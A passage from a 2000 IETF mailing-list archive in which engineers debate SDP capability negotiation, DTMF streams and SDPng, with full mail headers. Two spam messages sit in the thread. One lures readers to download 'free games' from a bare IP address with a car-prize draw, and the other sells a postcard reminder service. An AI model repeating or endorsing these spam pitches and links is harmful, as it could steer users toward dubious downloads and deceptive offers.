a=rtpmap:88 telephone-event

thus indicating support for PCMU, GSM, G.728 and DTMF. The response from the
server B indicates just PCMU:

m=audio 49230 RTP/AVP 0
c=IN IP4 14.5.3.55

Now, it wants to receive DTMF stream. It knows the other side supports DTMF.
It would send a re-INVITE thats like

m=audio 49230 RTP/AVP 0
c=IN IP4 14.5.3.55
m=audio 49232 RTP/AVP 88
c=IN IP4 14.5.3.55
a=rtpmap:88 telephone-event
a=recvonly

and the response is:

m=audio 44530 RTP/AVP 0
c=IN IP4 1.2.3.4
m=audio 44532 RTP/AVP 88
c=IN IP4 1.2.3.4
a=rtpmap:88 telephone-event
a=sendonly
                

Even assuming B didn't know whether A supported DTMF, it would simply try to
set up a dtmf stream, and the request would be rejected if the codec wasn't
available.

Thus, I am failing to see the pressing need here. 

-Jonathan R.

---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Mon Dec  4 07:12:30 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA12718
	for confctrl-outgoing; Mon, 4 Dec 2000 07:12:30 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA12713
	for <confctrl@zephyr.isi.edu>; Mon, 4 Dec 2000 07:12:29 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA21631
	for <confctrl@ISI.EDU>; Mon, 4 Dec 2000 07:12:28 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id HAA12784;
	Mon, 4 Dec 2000 07:08:29 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eB4F8ev15014;
	Mon, 4 Dec 2000 07:08:40 -0800 (PST)
Received: from cisco.com (rtp-vpn-123.cisco.com [10.82.192.123])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id HAA01710;
	Mon, 4 Dec 2000 07:08:26 -0800 (PST)
Message-ID: <3A2BB3F7.7F833A8F@cisco.com>
Date: Mon, 04 Dec 2000 10:10:47 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin San  
 Diego)
References: <B65B4F8437968F488A01A940B21982BF9AAD80@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

>
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Thursday, November 30, 2000 12:42 PM
> > To: Thomas LEVY
> > Cc: confctrl@ISI.EDU
> > Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC
> > meeting in San Diego)
> >
> >
> >
> >
> > Thomas LEVY wrote:
> >
> > >     Hi Flemming,
> > >
> > > I am not sure to understand the example you are referring to:
> > > 1) Is it that the system is not able to handle some kind of
> > audio (for
> > > inst:PCMU) and DTMF simultaneously?
> > > or
> > > 2) Is it that the system is able to but doesn't want to
> > associate some
> > > kind of audio (for inst:PCMU) and DTMF for this particular stream?
> > > or an other case?
> >
> > It's the second case. Consider an application that wants to
> > receive DTMF
> > input from the user. Different mechanisms have been proposed for this,
> > and one of these is the use of an RFC 2833 DTMF media stream. In the
> > case where DTMF is all you wanted to support for a media stream while
> > having another media stream at the same time, you want a way
> > to express
> > that a given capability only applies to a given media stream.
>
> This doesn't require any extensions, so long as the originator always lists
> all codecs possible in a new stream.

Yes, but that's the problem with SDP and the point about adding capability
descriptions that are separate from the media description. You may not be able
to or want to support all possible codecs simultaneously, e.g. due to DSP
restrictions or because you cannot express different types of media in a single
media stream as in the case of T.38.



> Consider A and B are in a  call, and
> that B is actually an application that wants to add a DTMF stream.
>
> The original INVITE from the user A to the server B has SDP like:
>
> m=audio 44530 RTP/AVP 0 3 15 88
> c=IN IP4 1.2.3.4
> a=rtpmap:88 telephone-event
>
> thus indicating support for PCMU, GSM, G.728 and DTMF.

Yes, but what if A preferred to simply use PCMU or wanted to list two media
streams initially ? In the latter case, one of the media streams would be for
DTMF only, yet additional capabilities that only apply to the other media stream
are desired to be indicated, hence session level capability descriptions are not
adequate.


> The response from the
> server B indicates just PCMU:
>
> m=audio 49230 RTP/AVP 0
> c=IN IP4 14.5.3.55
>
> Now, it wants to receive DTMF stream. It knows the other side supports DTMF.
> It would send a re-INVITE thats like
>
> m=audio 49230 RTP/AVP 0
> c=IN IP4 14.5.3.55
> m=audio 49232 RTP/AVP 88
> c=IN IP4 14.5.3.55
> a=rtpmap:88 telephone-event
> a=recvonly
>
> and the response is:
>
> m=audio 44530 RTP/AVP 0
> c=IN IP4 1.2.3.4
> m=audio 44532 RTP/AVP 88
> c=IN IP4 1.2.3.4
> a=rtpmap:88 telephone-event
> a=sendonly
>
>
> Even assuming B didn't know whether A supported DTMF, it would simply try to
> set up a dtmf stream, and the request would be rejected if the codec wasn't
> available.

You can always use more or less blind trial-and-error, but that's hardly an
optimal design. While it may not be a major problem in this DTMF example, there
are other less forgiving scenarios such as shifting to fax relay.

-- Flemming


>
>
> Thus, I am failing to see the pressing need here.
>
> -Jonathan R.
>
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com

--
Flemming Andreasen
Cisco Systems




From confctrl-owner  Mon Dec  4 15:07:52 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA03834
	for confctrl-outgoing; Mon, 4 Dec 2000 15:07:52 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA03829
	for <confctrl@zephyr.isi.edu>; Mon, 4 Dec 2000 15:07:51 -0800 (PST)
Received: from mail.com (m72-res106.elender.hu [212.108.207.71])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id PAA03086
	for <CONFCTRL@ISI.EDU>; Mon, 4 Dec 2000 15:07:46 -0800 (PST)
Received: from localhost (root@localhost)
	by mail.com (8.8.7/8.8.7) with SMTP id XAA06522;
	Mon, 4 Dec 2000 23:45:00 +0100
Date: Mon, 4 Dec 2000 23:44:59 +0100
Message-Id: <200012042245.XAA06522@mail.com>
Received: by mail.com (bulk_mailer v1.9); Mon, 4 Dec 2000 18:19:24 +0100
From: Steven Steiner <cyberlandgames@mail.com>
To: 
Subject: Wanna play? / Free Games To Download
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


***********************Looking for free games?***********************


..... We have a solution for you. 
Internet Global Marketing has teamed up with Cyberland Gaming, 
and we're proud to announce our brand new sets of games as a free download.
Our software is one of the most realistic 3D games available on the market 
and yet it's still free. It is not a demo version nor a time limited shareware.
Your time is unlimited. It never expires.

So what's the catch? 
Nothing! All we are asking is to give us feedback on our games. That's it.
Is there any more free stuff?
Absolutely!!!!

1) If you download our software at http://196.40.2.60/freegamein.asp?from=1052
you will automatically enter our Christmas Lucky Beetle drawing.
You can be a lucky winner of a Volkswagen Beetle.
Drawing will take place on the 22nd of December 2000

2) You receive free upgrades and all new games as we launch them.
It's all yours for free.

Download our software http://196.40.2.60/freegamein.asp?from=1052
and start playing now.

http://196.40.2.60/freegamein.asp?from=1052
http://196.40.2.60/freegamein.asp?from=1052

******************************************************************
It's a one time mailing only. You don't need to send a remove request.
If you downloaded our game and need to contact us, please send an email to
cyberlandgames@mail.com
Also please send all your comments to the above email address
By going beyond this point, you are making the following statements: 
"Under penalty of perjury, I affirm that as of this moment, I am an adult, 
at least 18 years of age." 
******************************************************************

Have a great day


Steven Steiner/Global Marketing


From confctrl-owner  Tue Dec  5 05:18:03 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA02017
	for confctrl-outgoing; Tue, 5 Dec 2000 05:18:03 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA02011
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 05:18:02 -0800 (PST)
Received: from atomail.atotech.co.kr ([210.108.244.2])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id FAA08110
	for <confctrl@isi.edu>; Tue, 5 Dec 2000 05:18:01 -0800 (PST)
From: bn2bn1@yahoo.com
Received: from CT4Yc1z4B (1Cust60.tnt4.lax3.da.uu.net [63.23.64.60]) by atomail.atotech.co.kr with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id X7RZCTRH; Tue, 5 Dec 2000 21:34:51 +0900
DATE: 05 Dec 00 4:41:06 AM
Message-ID: <hXIRTnWy4WD90>
SUBJECT: Please put FREE INFO as the subject.
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is an EXCELLENT and UNIQUE gift idea for yourself or loved one!

There is not ANYONE out there that would not benefit from this service. There 
are
already over ONE MILLION satisfied customers! This is an INCREDIBLY EASY and
INEXPENSIVE service. Do yourself a favor and ask for the free information on 
this
service at the bottom of this page. I am very confident that you will be glad 
you did. You
will only be contacted once. So take advantage of this INCREDIBLE OPPORTUNITY!

What have you forgotten lately?

 There is nothing worse than forgetting something. Unfortunately, time passes 
by whether
we are ready or not. In today's busy world most of us are so caught up in our 
daily routine
that it is extremely easy to forget things.
 For example; have you ever forgotten someone's birthday, your own 
anniversary, or other
special event and felt really bad about it? Or how about an important 
deadline that ended
up costing you in late fees. I know some people say that they have a calendar 
or a day
planner to help them remember special dates, but that doesn't always work for 
example:
 # 1. They have to remember to write things down in the first place, and if 
they did, then
they would have to constantly refer back to it.
 # 2. Once all your occasions are written down, calendars and day planners 
eventually go
out of date and everything that you have written down has to be written over 
and over
every week, month, or year.
 # 3. Not everyone looks at calendars or day planners everyday.

That is why this company was created!

Why not just write things down once and let us do the reminding for you!

Daily, Monthly, or Annually we can send an unlimited amount of reminder post 
cards
for anything you want to be reminded of "FOR A LIFETIME " in the mail to you 
for one
extremely low price!  With no charges to make any changes or annual fees "FOR 
A
LIFETIME!" We also have a large selection of specialty gift packages to 
choose from! 
 When you go to check your mailbox everyday you could be reminded of 
something that
you would have probably forgotten in the first place. Why not have the piece 
of mind of
knowing that you have one less thing to do in your busy life. You could have 
a service
yourself or give one as a gift that will last for a lifetime and pay for 
itself over and over
again for a one time fee of less than a day planner. 

For FREE INFORMATION email us at:  wecanremindyou@aol.com 


Thank you for your time and remember, 
Don't Forget,   WE CAN REMIND YOU !!!

If you would like to be removed, please email us back with the word "Remove" in the subject line. We apologize for any inconvenience.


From confctrl-owner  Tue Dec  5 07:45:06 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA07453
	for confctrl-outgoing; Tue, 5 Dec 2000 07:45:06 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA07424
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 07:45:02 -0800 (PST)
Received: from mel.alcatel.fr (mel.alcatel.fr [212.208.74.132])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA12380
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 07:44:58 -0800 (PST)
Received: from aifhs2.alcatel.fr (mailhub.alcatel.fr [155.132.180.80])
        by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id QAA07439;
        Tue, 5 Dec 2000 16:44:36 +0100
Received: from medine.ms.alcatel.fr (medine.ms.alcatel.fr [193.105.117.1])
        by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id QAA19726;
        Tue, 5 Dec 2000 16:41:11 +0100 (MET)
Received: from ms.ms.alcatel.fr (aar.ms.alcatel.fr [188.9.12.93])
	by medine.ms.alcatel.fr (8.8.8/8.8.8/aar-1.2) with ESMTP id QAA29127;
	Tue, 5 Dec 2000 16:44:49 +0100 (MET)
Received: from ms.alcatel.fr ([188.9.247.87])
	by ms.ms.alcatel.fr (8.8.7/8.8.7/aar-1.0) with ESMTP id QAA27219;
	Tue, 5 Dec 2000 16:44:49 +0100 (MET)
Message-ID: <3A2D0D7E.A2F08931@ms.alcatel.fr>
Date: Tue, 05 Dec 2000 16:45:03 +0100
From: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Organization: Alcatel
X-Mailer: Mozilla 4.71 [en] (WinNT; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
CC: confctrl@ISI.EDU
Subject: Re: draft-kutscher-mmusic-sdpng-req-01.txt
References: <cdhf4rvwyg.fsf@daemon.informatik.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

    Hello Dirk,

Concerning the "requirements for capability description and negotiation", it seems
to me that your document mainly focus on end systems.
To be more precise, the main discussed problem in part 5. (you call it "negotiation
of capabilities") is to ensure that a stream getting out of a system A is
compatible with a stream getting in a system B. We only see a system as an "opaque
box" being able to initiate or to terminate streams.

But what about considering that the system may "transform" one (or more) input
streams into one (or more) output streams?
Considering this, an end system could be considered as terminating an input stream.
A transcoding media gateway system could be considered as transforming an input
stream with codec of a certain type into an output stream with a codec of an other
type...
It could allow to enlarge the scope covered by capability description.

Thomas,

Dirk Kutscher wrote:

> Folks,
>
> we have submitted a new version of the SDP-ng requirements
> draft. Until it appears in the archives you can get it also at
>
> http://www.dmn.tzi.org/ietf/mmusic/49/id/draft-kutscher-mmusic-sdpng-req-01.txt
>
> PS- and HTML-versions are also available.
>
> We have adopted the results of our requirements discussion at the last
> IETF meeting and also provided a strawman proposal as input for
> further discussions.
>
> Any comments etc. are welcome.
>
> --
>         Dirk


From confctrl-owner  Tue Dec  5 10:13:36 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA13240
	for confctrl-outgoing; Tue, 5 Dec 2000 10:13:36 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA13235
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 10:13:34 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id KAA03743
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 10:13:33 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id NAA20340;
	Tue, 5 Dec 2000 13:16:00 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <X2075R7V>; Tue, 5 Dec 2000 13:11:24 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: Flemming Andreasen <fandreas@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>
Cc: Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: RE: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meeting
	in San   Diego)
Date: Tue, 5 Dec 2000 13:11:14 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Monday, December 04, 2000 10:11 AM
> To: Jonathan Rosenberg
> Cc: Thomas LEVY; confctrl@ISI.EDU
> Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC
> meetingin San Diego)
> 
> > > It's the second case. Consider an application that wants to
> > > receive DTMF
> > > input from the user. Different mechanisms have been 
> proposed for this,
> > > and one of these is the use of an RFC 2833 DTMF media 
> stream. In the
> > > case where DTMF is all you wanted to support for a media 
> stream while
> > > having another media stream at the same time, you want a way
> > > to express
> > > that a given capability only applies to a given media stream.
> >
> > This doesn't require any extensions, so long as the 
> originator always lists
> > all codecs possible in a new stream.
> 
> Yes, but that's the problem with SDP and the point about 
> adding capability
> descriptions that are separate from the media description. 
> You may not be able
> to or want to support all possible codecs simultaneously, 
> e.g. due to DSP
> restrictions or because you cannot express different types of 
> media in a single
> media stream as in the case of T.38.

I just want to make sure we are solving real problems. Seems that we have
been able to survive so far without more complex capability negotiations.
Capability negotiation is one of these things people spend a lot of time
specifying, but which seems is almost never utilized extensively.

The one and only NEED that I have heard about is the "I support many codecs,
but pick one and stick with it for the whole session" capability. This is
important for phones that download the codec into memory once it has been
selected. This can be done much more simply than with the mechanism you
describe.

THis must be also reconciled with the fact that SDPng is coming; so, I see
little need for specifying anything more than critical things now, since a
more complete and less hacked up solution is coming.

-Jonathan R.


---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Tue Dec  5 11:38:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA16591
	for confctrl-outgoing; Tue, 5 Dec 2000 11:38:19 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA16586
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 11:38:17 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id LAA03501
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 11:38:12 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.9.3/8.9.1) with ESMTP id LAA08175;
	Tue, 5 Dec 2000 11:37:39 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id eB5Jbod26538;
	Tue, 5 Dec 2000 11:37:50 -0800 (PST)
Received: from cisco.com (rtp-vpn-15.cisco.com [10.82.192.15])
	by mailman.cisco.com (8.9.3/8.9.1) with ESMTP id LAA10421;
	Tue, 5 Dec 2000 11:37:37 -0800 (PST)
Message-ID: <3A2D3B59.B54BE763@cisco.com>
Date: Tue, 05 Dec 2000 14:00:41 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin 
 San   Diego)
References: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

>
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Monday, December 04, 2000 10:11 AM
> > To: Jonathan Rosenberg
> > Cc: Thomas LEVY; confctrl@ISI.EDU
> > Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC
> > meetingin San Diego)
> >
> > > > It's the second case. Consider an application that wants to
> > > > receive DTMF
> > > > input from the user. Different mechanisms have been
> > proposed for this,
> > > > and one of these is the use of an RFC 2833 DTMF media
> > stream. In the
> > > > case where DTMF is all you wanted to support for a media
> > stream while
> > > > having another media stream at the same time, you want a way
> > > > to express
> > > > that a given capability only applies to a given media stream.
> > >
> > > This doesn't require any extensions, so long as the
> > originator always lists
> > > all codecs possible in a new stream.
> >
> > Yes, but that's the problem with SDP and the point about
> > adding capability
> > descriptions that are separate from the media description.
> > You may not be able
> > to or want to support all possible codecs simultaneously,
> > e.g. due to DSP
> > restrictions or because you cannot express different types of
> > media in a single
> > media stream as in the case of T.38.
>
> I just want to make sure we are solving real problems.

Point taken.

> Seems that we have
> been able to survive so far without more complex capability negotiations.

Most protocols go through evolution and extensions. It's not a question of
survival, it's a question of addressing an evolving and changing set of
requirements.


>
> Capability negotiation is one of these things people spend a lot of time
> specifying, but which seems is almost never utilized extensively.
>
> The one and only NEED that I have heard about is the "I support many codecs,
> but pick one and stick with it for the whole session" capability.

Where did you hear that ? I specifically disagree with the "stick with it for
the whole session" part as there today are scenarios that require codec shifts
mid-call but still only want to support one codec at a time. And what about T.38
and similar ?


> This is
> important for phones that download the codec into memory once it has been
> selected. This can be done much more simply than with the mechanism you
> describe.

I think it's pretty simple as is, but I'm open to other suggestions. However, we
should probably spend time agreeing on the problem scope first. As mentioned
above, I think your description is an oversimplification - at least it doesn't
address the problems I want to solve.


>
>
> THis must be also reconciled with the fact that SDPng is coming; so, I see
> little need for specifying anything more than critical things now, since a
> more complete and less hacked up solution is coming.

As explained in the draft, I agree we should only look at the essential things
right now, however I also feel strongly about adding some simple capability
description to SDP. It is urgently needed for several applications and we can
either all go on and implement proprietary solutions or we can agree on a
limited problem scope and accompanying solution - I am trying to do the latter.

Secondly, even if we had SDPng today (which we don't), there's a substantial SDP
base out there which will not go away anytime soon and there's a big difference
between adding a couple of extra things to SDP and completely replacing it.
However, I agree that a complete and general capability description/negotiation
solution is not what we should strive for here - that's what SDPng is intended
for.

I think we are more or less in agreement here.

-- Flemming

>
>
> -Jonathan R.
>
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com

--
Flemming Andreasen
Cisco Systems




From confctrl-owner  Tue Dec  5 12:41:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA18726
	for confctrl-outgoing; Tue, 5 Dec 2000 12:41:31 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA18721
	for <confctrl@zephyr.isi.edu>; Tue, 5 Dec 2000 12:41:29 -0800 (PST)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23573
	for <confctrl@ISI.EDU>; Tue, 5 Dec 2000 12:41:24 -0800 (PST)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id VAA12029;
	Tue, 5 Dec 2000 21:41:18 +0100 (MET)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id VAA04191;
	Tue, 5 Dec 2000 21:41:17 +0100 (MET)
Date: Tue, 5 Dec 2000 21:41:17 +0100
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Flemming Andreasen <fandreas@cisco.com>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Thomas LEVY <thomas.levy@ms.alcatel.fr>, confctrl@ISI.EDU
Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC meetingin San   Diego)
Message-ID: <20001205214117.A4158@fokus.gmd.de>
References: <B65B4F8437968F488A01A940B21982BFAA4EA5@DYN-EXCH-001.dynamicsoft.com> <3A2D3B59.B54BE763@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <3A2D3B59.B54BE763@cisco.com>; from fandreas@cisco.com on Tue, Dec 05, 2000 at 02:00:41PM -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Another approach might be to let SDP do what it was intended for:
describing sessions with connection information and already chosen
media formats.

In my understanding, describing capability sets and constraints like
"X cannot be used together with Y" is very different from describing a
session.

Two points on that:

* capability descriptions does not contain IP adresses or port numbers or
  address family ids...

* logically, usable capabilities must FIRST be negotiated, and THEN,
  after the negotiation is finished, one or more from the resulting set
  can be used to create an SDP record.

When capability descriptions/negotiation is not mixed with session
descriptions, no changes/extensions to SDP are required.

Maybe it helps to define a MIME type, say application/capabilities, and an
algorithm how these MIME-objects have to be intersected.

The INVITE(REFER) carries only the capability object of user A
(already intersected capability set), the 200 Ok carries only the capability
object of user B.
Now, both users know the capabilities of each other and apply the
algorithm to get the intersection.
Finally, user A sends an INVITE/(REFER) with an SDP record containing only
negotiated capabilities.

This should also work with more than two parties involved in a call,
full mesh and central conference servers.

For complex call graphs, it might be hard to figure out who has seen
all capability sets, though.

cheers, chris


On Tue, Dec 05, 2000 at 02:00:41PM -0500, Flemming Andreasen wrote:
> 
> 
> Jonathan Rosenberg wrote:
> 
> >
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > Sent: Monday, December 04, 2000 10:11 AM
> > > To: Jonathan Rosenberg
> > > Cc: Thomas LEVY; confctrl@ISI.EDU
> > > Subject: Re: draft-andreasen-mmusic-sdp-simcap-00.txt (Was: MMUSIC
> > > meetingin San Diego)
> > >
> > > > > It's the second case. Consider an application that wants to
> > > > > receive DTMF
> > > > > input from the user. Different mechanisms have been
> > > proposed for this,
> > > > > and one of these is the use of an RFC 2833 DTMF media
> > > stream. In the
> > > > > case where DTMF is all you wanted to support for a media
> > > stream while
> > > > > having another media stream at the same time, you want a way
> > > > > to express
> > > > > that a given capability only applies to a given media stream.
> > > >
> > > > This doesn't require any extensions, so long as the
> > > originator always lists
> > > > all codecs possible in a new stream.
> > >
> > > Yes, but that's the problem with SDP and the point about
> > > adding capability
> > > descriptions that are separate from the media description.
> > > You may not be able
> > > to or want to support all possible codecs simultaneously,
> > > e.g. due to DSP
> > > restrictions or because you cannot express different types of
> > > media in a single
> > > media stream as in the case of T.38.
> >
> > I just want to make sure we are solving real problems.
> 
> Point taken.
> 
> > Seems that we have
> > been able to survive so far without more complex capability negotiations.
> 
> Most protocols go through evolution and extensions. It's not a question of
> survival, it's a question of addressing an evolving and changing set of
> requirements.
> 
> 
> >
> > Capability negotiation is one of these things people spend a lot of time
> > specifying, but which seems is almost never utilized extensively.
> >
> > The one and only NEED that I have heard about is the "I support many codecs,
> > but pick one and stick with it for the whole session" capability.
> 
> Where did you hear that ? I specifically disagree with the "stick with it for
> the whole session" part as there today are scenarios that require codec shifts
> mid-call but still only want to support one codec at a time. And what about T.38
> and similar ?
> 
> 
> > This is
> > important for phones that download the codec into memory once it has been
> > selected. This can be done much more simply than with the mechanism you
> > describe.
> 
> I think it's pretty simple as is, but I'm open to other suggestions. However, we
> should probably spend time agreeing on the problem scope first. As mentioned
> above, I think your description is an oversimplification - at least it doesn't
> address the problems I want to solve.
> 
> 
> >
> >
> > THis must be also reconciled with the fact that SDPng is coming; so, I see
> > little need for specifying anything more than critical things now, since a
> > more complete and less hacked up solution is coming.
> 
> As explained in the draft, I agree we should only look at the essential things
> right now, however I also feel strongly about adding some simple capability
> description to SDP. It is urgently needed for several applications and we can
> either all go on and implement proprietary solutions or we can agree on a
> limited problem scope and accompanying solution - I am trying to do the latter.
> 
> Secondly, even if we had SDPng today (which we don't), there's a substantial SDP
> base out there which will not go away anytime soon and there's a big difference
> between adding a couple of extra things to SDP and completely replacing it.
> However, I agree that a complete and general capability description/negotiation
> solution is not what we should strive for here - that's what SDPng is intended
> for.
> 
> I think we are more or less in agreement here.
> 
> -- Flemming
> 
> >
> >
> > -Jonathan R.
> >
> > ---
> > Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> 
> --
> Flemming Andreasen
> Cisco Systems
> 
> 
> 

From confctrl-owner  Tue Dec  5 13:27:29 2000
Return-Path: <owner-confctrl>
